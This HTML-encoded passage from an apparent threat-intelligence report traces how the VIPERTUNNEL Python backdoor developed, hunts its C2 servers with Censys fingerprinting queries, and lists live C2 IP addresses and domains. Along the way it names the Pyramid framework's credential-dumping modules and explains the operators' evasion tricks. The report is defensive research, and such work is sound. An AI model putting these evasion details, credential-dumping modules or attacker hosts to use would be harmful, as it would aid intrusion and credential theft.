&lt;p&gt;The early development samples are dated to roughly the end of 2023. The samples in this group exhibit numerous coding inconsistencies and spelling errors. These samples lack a hardcoded command-and-control (C2) address and contain notable typos, such as &lt;code&gt;deamon&lt;/code&gt; instead of &lt;code&gt;daemon&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/typo_daemon.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Additional errors include misspelled magic methods, such as &lt;code&gt;__setatrr__&lt;/code&gt; instead of &lt;code&gt;__setattr__&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/typo_setatrr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Further spelling errors are present, including &lt;code&gt;verifing&lt;/code&gt; instead of &lt;code&gt;verifying&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/typo_verifing.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Some errors are in unused variables, indicating limited review or fragmented development. Other parts use standard exception handling for debugging, with some blocks including unused exception variables. These oversights suggest the malware is in an early or less mature stage of development.
Additionally, multiple variables are declared but never used. Examples include:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/var_handler_index.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./images/var_connectionrefusederror.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The code shows inconsistent exception handling, with custom exceptions inheriting directly from Python’s built-in Exception class.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/exceptions.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In other sections, a debug log is generated whenever an exception occurs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/exceptions_print.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Samples within this group were solely observed without any form of obfuscation.
Furthermore, it is presumed that the samples submitted to VirusTotal in 2025 also originated in 2023.&lt;/p&gt;
&lt;h2&gt;Adoption of public Tooling&lt;/h2&gt;
&lt;p&gt;The second cluster has a minified payload, removing whitespace and flattening multi-line logic into single lines.
Identifiers are single-character, sometimes underscore-prefixed.
Although dense, the lack of cryptographic obfuscation makes the logic easily recoverable, both manually and automatically.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/minified_func.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Observed characteristics suggest this variant was for development or testing, indicated by verbose logging and an unused traceback import.
Like the previous cluster, it lacks a hardcoded C2 address; the target IP is provided at runtime via &lt;code&gt;argv&lt;/code&gt;.
This minified form was observed only with the PyOBFUSCATE loader, distinguishing it from more mature, self-contained versions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/minified_main.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Refinement &amp;amp; Debugging&lt;/h2&gt;
&lt;p&gt;One-line expressions are expanded into multi-line blocks, with whitespace added for clarity. Obfuscation remnants, like underscore-prefixed, single-character variables (e.g., &lt;code&gt;_X&lt;/code&gt;), remain.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/one_char_var.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This group appears to be a development or debugging build, evidenced by a debug flag set with argparse, multiple logging levels, print statements, and an imported but unused traceback module.
This cluster sits between heavily minified variants and refined production builds: it lacks advanced obfuscation but avoids the aggressive variable randomness seen in previous versions.
Samples in this group were obfuscated using PyOBFUSCATE and the version described by &lt;a href=&quot;https://www.esentire.com/blog/unpacking-shadowcoils-ransomhub-ex-affiliate-credential-harvesting-tool&quot;&gt;eSentire&lt;/a&gt;, which represents an earlier version of the obfuscation described in this blog.
Finally, this cluster introduced the usage of hardcoded C2 addresses.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/refinement_main.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Modern Production Variant&lt;/h2&gt;
&lt;p&gt;The fourth group is distinguished by a notable architectural shift, with the codebase refactored into more clearly named classes: Wire, Relay, and Commander. This iteration exhibits the highest code quality among the observed samples, featuring a streamlined and professional implementation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/wire_main.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This cluster removes previous logging and argparse. Unlike earlier versions that supported configurable ports via the command line, the port is now hardcoded. Exception handling is consolidated: custom exceptions like &lt;code&gt;ConnectionClosedError&lt;/code&gt; and &lt;code&gt;ExitException&lt;/code&gt; are caught in simplified blocks with break or pass for quiet thread termination. These changes mark a shift from testing to a stealth-focused production payload.
Samples in this group were observed using the obfuscation described in this blog and its previous version.&lt;/p&gt;
&lt;h1&gt;Hunting infrastructure&lt;/h1&gt;
&lt;p&gt;With the method established, we extend the investigation to adversary infrastructure, uncovering relationships and insights. We pivot from a known C2 address to identify related infrastructure and data points.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/open_ports.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The view shows open ports on a recent C2 server. Port 443, used for VIPERTUNNEL to C2, is known. Probing it returns only the static response &lt;code&gt;00 00&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/port_443.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;High-numbered (five-digit) ports are probably relay ports. After connecting, the C2 directs VIPERTUNNEL to relay traffic to a secondary high port.&lt;/p&gt;
&lt;p&gt;Port 22 is running SSH. There is little of interest here, as host keys vary by system. While the OpenSSH version is largely consistent across servers, it is not identical in all cases and therefore is not a reliable indicator.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/port_22.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This leaves port 8000, which returns an HTTP 401 response in Shodan.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/port_8000.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This HTTP response is part of the &lt;a href=&quot;https://github.com/naksyn/Pyramid&quot;&gt;Pyramid&lt;/a&gt; framework, a &quot;C2&quot; tool that evades EDR detection by using the LOLBin &lt;code&gt;python.exe&lt;/code&gt; to run Python code in memory.&lt;/p&gt;
&lt;p&gt;The framework delivers encrypted code using ChaCha20 or XOR and includes modules such as &lt;code&gt;secretsdump.py&lt;/code&gt; and &lt;code&gt;LaZagne.py&lt;/code&gt; for post-exploitation. Pyramid is likely used for post-exploitation after gaining access via VIPERTUNNEL and conducting reconnaissance.
This linkage between VIPERTUNNEL and Pyramid has been previously documented by other researchers, including &lt;a href=&quot;https://www.intrinsec.com/wp-content/uploads/2025/10/TLP-CLEAR-IP-cluster-linking-ransomware-activity-and-Eye-Pyramid-C2-EN.pdf&quot;&gt;Intrinsec&lt;/a&gt; and &lt;a href=&quot;https://hunt.io/blog/tracking-pyramid-c2-identifying-post-exploitation-servers&quot;&gt;hunt.io&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Confirming Pyramid’s presence in our incident was difficult due to its age, as it leaves minimal artifacts, mainly in memory and dropping few files. Yet for hunting, &lt;a href=&quot;https://github.com/naksyn/Pyramid/blob/main/Server/pyramid.py#L129C18-L129C22&quot;&gt;Pyramid source code&lt;/a&gt; shows a unique data pattern with HTTP 401 responses, aiding fingerprinting in investigations.
Hunting only for Pyramid activity might reveal unrelated systems to VIPERTUNNEL, but a distinct identifier exists. Public source code shows default &lt;code&gt;WWW-Authenticate&lt;/code&gt; as &lt;code&gt;Basic realm=&quot;Demo Realm&quot;&lt;/code&gt;; in our case, it’s set to &lt;code&gt;Proxy&lt;/code&gt;.
Below is the function responsible for the 401 Response in the &lt;a href=&quot;https://github.com/naksyn/Pyramid/blob/main/Server/pyramid.py#L129&quot;&gt;Pyramid source code&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/pyramid_401_response.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This deviation makes the deployment uniquely identifiable among other Pyramid installations, as these headers are returned with an HTTP 401 (Unauthorized) response.&lt;/p&gt;
&lt;p&gt;Interestingly, the response has two Python Server headers based on BaseHTTP, but with different versions and runtimes. The cause is unclear, but it offers a pivot point. These traits help craft queries to find more C2 infrastructure.&lt;/p&gt;
&lt;p&gt;Using this knowledge, we can craft preliminary Censys hunts to identify further C2’s such as&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;host.services.endpoints: (http.status_code: 401 and http.headers: (key: &quot;Server&quot; and value: &quot;BaseHTTP&quot;) and http.headers: (key: &quot;WWW-Authenticate&quot; and value: &quot;Basic realm=\&quot;Proxy\&quot;&quot;)) 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The hunts reveal that some systems do not use port 8000 for Pyramid. This is crucial because Pyramid hunts can&apos;t rely solely on port 8000 to identify them.&lt;/p&gt;
&lt;p&gt;In some matches, only ports &lt;strong&gt;22&lt;/strong&gt; and &lt;strong&gt;443&lt;/strong&gt; are open, according to historical data. Our attribution to VIPERTUNNEL relies on a modified HTTP 401 response, specifically, a &lt;code&gt;Basic realm=&quot;Proxy&quot;&lt;/code&gt; header, within Pyramid. This raises the question: how do we identify C2 servers not using Pyramid?
One option is to use Censys to identify systems that return identical responses on port 443.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/censys_port_443.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;These results exceed those of previous hunts, with some new geolocations. Manual checks suggest some may be false positives.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/censys_port_443_countries.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Restricting results to SSH service, some matches remain low-confidence matches due to limited data.
However, this approach also reveals previously missed systems, highlighting the need for multiple indicators and cross-methods analysis.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/censys_port_443_22.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Refining this approach, we achieved the most robust results with the following Censys query. While some false positives remain, most matches are true-positives.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;host.services.banner_hex = &quot;0000&quot; AND host.services.protocol: &quot;SSH&quot; AND &quot;python&quot; AND &quot;basehttp&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lastly, another method we can employ is using the HTTP Response Body as an indicator.
The 401 HTTP Response also contains the body &lt;code&gt;{&quot;success&quot;: false, &quot;error&quot;: &quot;Auth required&quot;}&lt;/code&gt; with the Body Hash &lt;code&gt;537a7628eb1b2fe117c9081e65579397a4d9b63f227802cac4028f4c34e2b337&lt;/code&gt;.
Using this hash, we can also utilise other services, such as &lt;a href=&quot;https://www.virustotal.com/gui/file/537a7628eb1b2fe117c9081e65579397a4d9b63f227802cac4028f4c34e2b337&quot;&gt;VirusTotal&lt;/a&gt;, to identify all systems returning this body hash.
This approach can produce false positives, as other frameworks might use the same HTTP Response.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/pyramid_body_hash.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;All found IOCs can be found in the appendix.&lt;/p&gt;
&lt;h2&gt;Analysing the Infrastructure&lt;/h2&gt;
&lt;p&gt;To understand the infrastructure, we aggregated all publicly available network IOCs from the references and correlated them with prior hunting results.
The dataset was enriched with metadata, including &lt;strong&gt;activity periods&lt;/strong&gt;, &lt;strong&gt;ASN/ISP&lt;/strong&gt; information, &lt;strong&gt;exposed ports&lt;/strong&gt;, and &lt;strong&gt;HTTP response&lt;/strong&gt; characteristics.
Each IOC was reanalysed with a confidence score; conflicting entries were excluded from the final analysis.
The adversary’s infrastructure shows a consistent technical stack.
A key signature is &lt;strong&gt;open ports 22&lt;/strong&gt; (SSH) and &lt;strong&gt;443&lt;/strong&gt; (HTTPS) across all nodes.
Pyramid C2 particularly &lt;strong&gt;favours port 8000&lt;/strong&gt;.
There is a minor deviation in SSH configurations across hosting providers.
On BlueVPS OU and HZ Hosting Ltd, the SSH service was moved to port 56777, likely reflecting their default settings rather than a tactical change.
Fingerprinting the SSH service showed high homogeneity, with nearly &lt;strong&gt;75% of C2&lt;/strong&gt; nodes returning a consistent banner: &lt;strong&gt;SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13&lt;/strong&gt;.
This identifies the OS as &lt;strong&gt;Ubuntu 22.04 LTS&lt;/strong&gt;.
While the campaign uses various ASNs and providers—showing no clear ISP trend—the geolocation is uniform: &lt;strong&gt;100% of IPs are in the United States&lt;/strong&gt;.
Despite the campaign&apos;s age, the infrastructure remains resilient.
Most high-confidence C2s are still active, though few nodes are offline.
Three servers stopped running the Pyramid listener, indicating decommissioning or tactic shifts.
An ongoing mystery is Pyramid’s 401 responses, which often return double-headers, a behaviour under investigation for potential attribution.
SSH host keys differ across systems, indicating the infrastructure isn&apos;t based on shared VM templates.
Recent C2 infrastructure from September to November 2025 shows only one Pyramid instance on port 1976 in the current Censys dataset.
The reported Python and BaseHTTP versions appear inconsistent and likely randomized, as repeated curl requests from multiple IP addresses returned different headers, suggesting header spoofing to evade detection.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/pyramid_spoofed_header.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Most indicators were first observed or reported in January 2025, likely active earlier. A second wave of C2 infrastructure appeared around Q3 2025, showing expansion or refresh.&lt;/p&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Our analysis shows VIPERTUNNEL is transitioning. Low detection rates in recent samples indicate that it remains difficult to detect, suggesting effective obfuscation and code refinement.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/vt_analysis.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The technical difference in obfuscation styles between ShadowCoil and ViperTunnel indicates separate authors or teams. The recent Linux debugger checks in ShadowCoil suggest a shift toward cross-platform capabilities.
The infrastructure is maturing toward stealth by abandoning fixed ports like 8000 and using spoofed headers to hinder protocol detection. Transitioning to a custom 401 Response may evade generic scanners but offers a unique fingerprint for targeted hunting.
Ultimately, the campaign&apos;s status remains unclear. The credentials in the binaries appear to be placeholders, and the absence of new samples in 2026 suggests a lull or a shift in security posture. While these tools were deployed before the DragonForce ransomware incident, the connection remains under investigation and has not been confirmed.&lt;/p&gt;
&lt;h1&gt;Further References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;https://www.esentire.com/blog/socket-puppet-how-ransomhub-affiliates-pull-the-strings&lt;/li&gt;
&lt;li&gt;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&lt;/li&gt;
&lt;li&gt;https://hunt.io/blog/tracking-pyramid-c2-identifying-post-exploitation-servers&lt;/li&gt;
&lt;li&gt;https://github.com/naksyn/Pyramid&lt;/li&gt;
&lt;li&gt;https://www.esentire.com/blog/unpacking-shadowcoils-ransomhub-ex-affiliate-credential-harvesting-tool&lt;/li&gt;
&lt;li&gt;https://www.intrinsec.com/ip-cluster-linking-ransomware-activity-and-eye-pyramid-c2/&lt;/li&gt;
&lt;li&gt;https://malpedia.caad.fkie.fraunhofer.de/details/py.pyramid&lt;/li&gt;
&lt;li&gt;https://blog.bushidotoken.net/2025/04/tracking-adversaries-evilcorp-ransomhub.html&lt;/li&gt;
&lt;li&gt;https://services.google.com/fh/files/misc/threat_horizons_report_h1_2025.pdf&lt;/li&gt;
&lt;li&gt;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Indicators of Compromise&lt;/h1&gt;
&lt;p&gt;Below are the references for the indicators in this article.&lt;/p&gt;
&lt;h2&gt;Command &amp;amp; Controller Servers&lt;/h2&gt;
&lt;p&gt;Below is a list of all identified C2 Servers. This list only includes high-confidence systems and may therefore not be complete. The dates for “First seen” are based on various sources and should be regarded as estimates.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;C2&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;ASN&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;ISP&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;First Seen&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Last Seen&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Source of &quot;First Seen&quot; Timestamp&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;38.146.28.93&lt;/td&gt;
&lt;td&gt;AS174&lt;/td&gt;
&lt;td&gt;Cogent Communications&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;38.135.54.24&lt;/td&gt;
&lt;td&gt;AS26383&lt;/td&gt;
&lt;td&gt;Baxet Group Inc.&lt;/td&gt;
&lt;td&gt;21.09.2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.whois.com/whois/hcm-technology.com&quot;&gt;whois&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;162.248.225.165&lt;/td&gt;
&lt;td&gt;AS14576&lt;/td&gt;
&lt;td&gt;Hosting Solution Ltd.&lt;/td&gt;
&lt;td&gt;November 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/668b77e4e53490eba960abd7f482ff5126af4b16abb4dd3972e533444d5dffa9/gti-summary&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CarryingItAll.com (193.5.65.151)&lt;/td&gt;
&lt;td&gt;AS395839&lt;/td&gt;
&lt;td&gt;HOSTKEY&lt;/td&gt;
&lt;td&gt;22.09.2025&lt;/td&gt;
&lt;td&gt;11.12.2025&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.virustotal.com/gui/domain/carryingitall.com/details&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CarryingItAll.com (108.181.115.254)&lt;/td&gt;
&lt;td&gt;AS40676&lt;/td&gt;
&lt;td&gt;Psychz Networks&lt;/td&gt;
&lt;td&gt;11.12.2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.virustotal.com/gui/domain/carryingitall.com/details&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rentiantech.com (45.56.162.61)&lt;/td&gt;
&lt;td&gt;AS199959&lt;/td&gt;
&lt;td&gt;GWY IT PTY LTD&lt;/td&gt;
&lt;td&gt;10.07.2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.whois.com/whois/rentiantech.com&quot;&gt;whois&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;185.174.101.69&lt;/td&gt;
&lt;td&gt;AS36352&lt;/td&gt;
&lt;td&gt;HostPapa&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;guidepointsecurity&lt;/a&gt; / &lt;a href=&quot;https://www.virustotal.com/gui/file/56c1546e20965873510e7f9e81fb30c12676e57d641bcc881e11700649dc4d91/details&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;104.238.61.144&lt;/td&gt;
&lt;td&gt;AS199959&lt;/td&gt;
&lt;td&gt;GWY IT PTY LTD&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;guidepointsecurity&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;88.119.175.65&lt;/td&gt;
&lt;td&gt;AS61272&lt;/td&gt;
&lt;td&gt;Informacines sistemos ir technologijos, UAB&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;guidepointsecurity&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;92.118.112.208&lt;/td&gt;
&lt;td&gt;AS215540&lt;/td&gt;
&lt;td&gt;GLOBAL CONNECTIVITY   SOLUTIONS LLP&lt;/td&gt;
&lt;td&gt;January 2024&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://reliaquest.com/blog/new-python-socgholish-infection-chain/&quot;&gt;reliaquest&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;173.44.141.226&lt;/td&gt;
&lt;td&gt;AS62904&lt;/td&gt;
&lt;td&gt;Eonix Corporation&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;guidepointsecurity&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;185.174.101.240&lt;/td&gt;
&lt;td&gt;AS36352&lt;/td&gt;
&lt;td&gt;HostPapa&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;guidepointsecurity&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;108.181.115.171&lt;/td&gt;
&lt;td&gt;AS40676&lt;/td&gt;
&lt;td&gt;Psychz Networks&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;guidepointsecurity&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;162.252.173.12&lt;/td&gt;
&lt;td&gt;AS9009&lt;/td&gt;
&lt;td&gt;M247 Europe SRL&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;108.181.182.143&lt;/td&gt;
&lt;td&gt;AS40676&lt;/td&gt;
&lt;td&gt;Psychz Networks&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;guidepointsecurity&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23.227.193.172&lt;/td&gt;
&lt;td&gt;AS29802&lt;/td&gt;
&lt;td&gt;HIVELOCITY, Inc.&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;December 2025&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;guidepointsecurity&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;88.119.175.70&lt;/td&gt;
&lt;td&gt;AS61272&lt;/td&gt;
&lt;td&gt;Informacines sistemos ir technologijos, UAB&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;guidepointsecurity&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;193.203.49.90&lt;/td&gt;
&lt;td&gt;AS204957&lt;/td&gt;
&lt;td&gt;GREEN FLOID LLC&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;185.33.86.15&lt;/td&gt;
&lt;td&gt;AS202015&lt;/td&gt;
&lt;td&gt;HZ Hosting Ltd&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;37.1.212.18&lt;/td&gt;
&lt;td&gt;AS29802&lt;/td&gt;
&lt;td&gt;HIVELOCITY, Inc.&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;March 2026&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;guidepointsecurity&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;38.180.81.153&lt;/td&gt;
&lt;td&gt;AS29802&lt;/td&gt;
&lt;td&gt;HIVELOCITY, Inc.&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;guidepointsecurity&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;45.66.248.150&lt;/td&gt;
&lt;td&gt;AS62005&lt;/td&gt;
&lt;td&gt;BlueVPS OU&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;February 2026&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;guidepointsecurity&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;158.255.213.22&lt;/td&gt;
&lt;td&gt;AS9009&lt;/td&gt;
&lt;td&gt;M247 Europe SRL&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;162.248.224.223 (chateaugalicia.com)&lt;/td&gt;
&lt;td&gt;AS14576&lt;/td&gt;
&lt;td&gt;Hosting Solution Ltd.&lt;/td&gt;
&lt;td&gt;August 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;104.238.60.108&lt;/td&gt;
&lt;td&gt;AS199959&lt;/td&gt;
&lt;td&gt;GWY IT PTY LTD&lt;/td&gt;
&lt;td&gt;January 2026&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;185.233.166.124&lt;/td&gt;
&lt;td&gt;AS398256&lt;/td&gt;
&lt;td&gt;AS-ULTRAHOST&lt;/td&gt;
&lt;td&gt;August 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;185.72.8.65&lt;/td&gt;
&lt;td&gt;AS26383&lt;/td&gt;
